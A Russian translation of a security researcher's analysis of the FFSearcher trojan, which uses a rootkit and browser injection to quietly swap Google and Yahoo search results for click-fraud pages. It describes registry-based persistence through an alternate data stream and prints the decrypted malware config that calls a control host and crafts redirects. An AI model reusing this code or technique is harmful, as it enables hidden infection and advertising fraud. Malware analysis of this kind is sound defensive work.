Троян FFSearcher, новая схема «мошеннических кликов»

Джо Стюарт (Joe Stewart), директор по анализу вредоносного ПО

При изучении того большого количества вредоносного ПО, которое загружает комплекс эксплойтов, использовавшийся в web-атаках типа "Nine-Ball", исследователи SecureWorks натолкнулись на интересный троян, который применяет ранее не встречавшийся образец http-запроса. Мы были заинтригованы и решили изучить этот троян более глубоко и раскрыть его назначение. Через некоторое время мы пришли к выводу, что  этот троян относится разновидности, модифицирующей результаты поиска  для реализации «мошеннических кликов» на платных ссылках (click fraud).

 

...

FFSearcher модифицирует существующую запись в реестре так, чтобы загрузка библиотеки netcfgx.dll указывала на netcfgx.dll:Zone.Identifier. Таким образом, троян обеспечивает свою загрузку, не создавая новых и подозрительных записей в реестре, которые могли бы быть замечены проверочными программами.  После завершения загрузки троянской DLL, выполнение оригинальной системной DLL продолжается, как ни в чем ни бывало.

Модифицируется ключ реестра HKLM\software\Classes\CLSID\ {5B035261-40F9-11D1-AAEC-00805FC1270E}\InProcServer32, где содержится ссылка на библиотеку DLL, являющуюся компонентом конфигурирования сети Windows.

 

Эта часть FFSearcher обнаруживается немного лучше, (15 из 41) но не идентифицируется антивирусным ПО иначе, как просто неизвестный руткит. После запуска троян декодирует пару драйверов ядра, которые зашифрованы при помощи алгоритма RC4, и внедряет их в качестве ресурсов в DLL. Эти драйверы загружаются в ядро, после чего файлы из системы удаляются. Один из этих драйверов действует, как руткит, скрывая троян от системы. Второй драйвер ищет окна Internet Explorer или Firefox, и, наконец, вставляет свою «полезную нагрузку» в пространство памяти процесса браузера.

 

...

Однако автор(ы) FFSearcher решили, что их троян может превратить щелчки в обычном поиске Google в щелчки, выполненные в результатах поиска через виджет Google Custom Search их сайта, и позаботились о том, чтобы спрятать свою механику таким образом, чтобы пользователь продолжал видеть обычное окно поиска Google. Вот, как выглядит сайт my-web-way.com на самом деле:

А обычный поиск по сайту, проведенный при помощи виджета Google Custom Search этого сайта, возвращает результаты от Google, которые выглядят обычно для результатов поиска по сайту:

Но если машина инфицирована трояном FFSearcher, картина немного меняется. Например, все ссылки на страницу, подменяющую результаты поиска, заменяются. Заменяются адреса даже в списке автозавершения. Вот как выглядит список автозавершения для my-web-way.com в обычных условиях:

А вот как выглядит список автозавершения для my-web-way.com на инфицированной этим трояном машине. Мы вводим с клавиатуры «my-web-way.com», но браузер меняет это имя на «google.com», что и отображается в окне:

Но на этом «дополненная реальность» не оканчивается. Взглянем на обычные результаты поиска Google:

А вот как выглядят результаты идентичного поиска на зараженной трояном FFSearcher машине, где данные исходят на самом деле от сайта my-web-way.com. Для нетренированного глаза это выглядит почти так же – есть только мелкие детали, отличающие подделку, такие, как отсутствие общего числа найденных ссылок, отсутствие ссылки на настройки поиска и предупредительный значок внизу, указывающий на использование  стороннего «cookie». Обычный пользователь, вероятно, никакой разницы не заметит:

Здесь мы видим, как FFSearcher аналогичным образом создает свою иллюзию в окне браузера Firefox. Это еще один результат поиска, где данные получены от сайта my-web-way.com, пользователь видит обычную страницу поиска Google:

Похоже на то, что авторы FFSearcher не додумались еще, как полностью подменить доменные имена в списке автозавершения Firefox, хотя название сайта в титульной строке окна подменено:

FFSearcher конфигурируется дистанционно, поисковые сайты, контент для подмены и даже сам конфигурационный запрос могут выгружаться. Вот фрагмент конфигурационного файла после дешифрования:

var compId = GetCompId();

var UpdateIp = DnsToIp("wxtr812.com");

AddReplace("www.ffsearcher.com", "www.google.com");

AddReplace("www.i-web-search.com", "search.yahoo.com");

AddReplace("counter.yadro.ru", "www.google.com");

AddPage(null, 2, "http://www.google.com/", 2, true, 0);

AddPage(null, 0, "http://www.i-web-search.com/", 2, true, 5);

GetUpdate(UpdateIp, "GET /SY4VHK-eedgRAeZm-1E61fJun1dK-U1fKQC?version=" +GetVersion()+" HTTP/1.1\r\nUser-Agent: Microsoft-Symbol-Server/6.5.0003.7\r\nReferer: "+GetCompId()+"\r\nHost: wxtr812.com\r\nConnection: close\r\n\r\n");

function getLocalPage(s, ref, url, user) {

if (0 < url.indexOf("q=ffsearch") || 0 < url.indexOf("q=i-web-search") || 0 < url.indexOf("q=wxtr812") ) {GetUpdate(UpdateIp, "GET /SY4VHK-eedgRAeZm-1E61fJun1dK-U1fKQC?version=" +GetVersion()+"&err=true HTTP/1.1\r\nUser-Agent: Microsoft-Symbol-Server/6.5.0003.7\r\nReferer: "+GetCompId()+"\r\nHost: wxtr812.com\r\nConnection: close\r\n\r\n"); }

if (0==url.indexOf("http://www.ffsearcher.com/search?")) {

AddPageDirect(s, 2);

return false;

}

if (0==url.indexOf("http://www.i-web-search.com/search?")) {

AddPageDirect(s, 6);

return false;

}

if ('http://www.yahoo.com/' == url) {

AddInjectDirect(s, 4);

return false;

}

if (ref == '' && 0==url.indexOf("http://www.google.com/search?")) {

var index;

url = url.substr(28);

if (index = url.indexOf('?q=')) index = url.indexOf('&q=');

if(0 <= index) {

if (0 < (index = (url = url.substr(index+1)).indexOf('&'))) { url = url.substr(0, index);

}

AddPageDirect(s,"HTTP/1.1 302\r\nLocation: http://www.ffsearcher.com/search?"+url+" &cx=partner-pub-8623920454324067 %3Aww1314-kux9&cof=FORID%3A10& ie=UTF-8&sa=Search\r\n\r\n");

}

}

if (ref == '' && 0==url.indexOf("http://search.yahoo.com/search?")) {

var index;

url = url.substr(30);

if (index = url.indexOf('?p=')) index = url.indexOf('&p=');

if(0 <= index) {

if (0 < (index = (url = url.substr(index+2)).indexOf('&'))) { url = url.substr(0, index);

}

AddPageDirect(s, "HTTP/1.1 302\r\nLocation: http://www.i-web-search.com/search?q"+ url+ "&cx=partner-pub-6169349783678403%3Am060pj-84am &cof=FORID%3A10\r\n\r\n");

}

}

if (0 < user.indexOf(" GoogleToolbar ") && 0 < decodeURIComponent(url).indexOf("www.google.com")) {

return true;

}

if (0 < user.indexOf(" GoogleToolbar ") && 0 < decodeURIComponent(url).indexOf(".yahoo.com")) {

return true;

}

if (0 < url.indexOf("pub-6169349783678403") && 0 == url.indexOf("http://www.google.")) {

AddInjectDirect(s, 7);

return false;

}

if (0 < url.indexOf("pub-8623920454324067") && 0 == url.indexOf("http://www.google.")) {

AddInjectDirect(s, 3);

return false;

}

return false;

}

Из этого листинга видно, что целью этой схемы «подмены кликов», также, видимо, является поисковик Yahoo!, хотя при изучении трояна мы не зафиксировали попыток перенаправления трафика Yahoo! через сторонний Web-сайт.

 

 

 

 

 

Hosted by uCoz